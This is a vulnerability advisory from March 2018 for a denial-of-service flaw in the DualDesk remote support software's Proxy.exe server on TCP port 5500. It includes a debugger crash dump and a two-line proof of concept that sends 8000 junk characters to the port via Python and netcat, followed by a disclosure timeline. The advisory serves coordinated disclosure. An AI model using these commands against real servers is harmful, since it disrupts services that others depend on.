[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/DUALDESK-v20-DENIAL-OF-SERVICE.txt
[+] ISR: Apparition Security
DualDesk is powerful, easy to use remote support software that is a one-time purchase and lets your
technical support staff remote assist a PC anywhere on the internet through firewalls in seconds with no
Denial Of Service
Remote unauthenticated attackers can crash the "Proxy.exe" Server component of Dualdesk application
which listens on TCP Port 5500 by sending a long string of junk chars.
(d24.d60): Security check failure or stack buffer overrun - code c0000409 (first/second chance not available)
eax=00000000 ebx=0257f1c0 ecx=00000000 edx=00000000 esi=00000002 edi=00000000
eip=77c6016d esp=0257f170 ebp=0257f20c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
77c6016d 83c404 add esp,4
Start the Dualdesk Run Proxy as Application.
C:\>python -c "print 'a'*8000" > crash.txt
C:\>type crash.txt | nc.exe localhost 5500
Vendor Notification: February 4, 2018
Second attempt : February 17, 2018
Request CVE, assigned by Mitre : March 1, 2018
March 1, 2018 : Public Disclosure
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
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that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
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or exploits by the author or elsewhere. All content (c).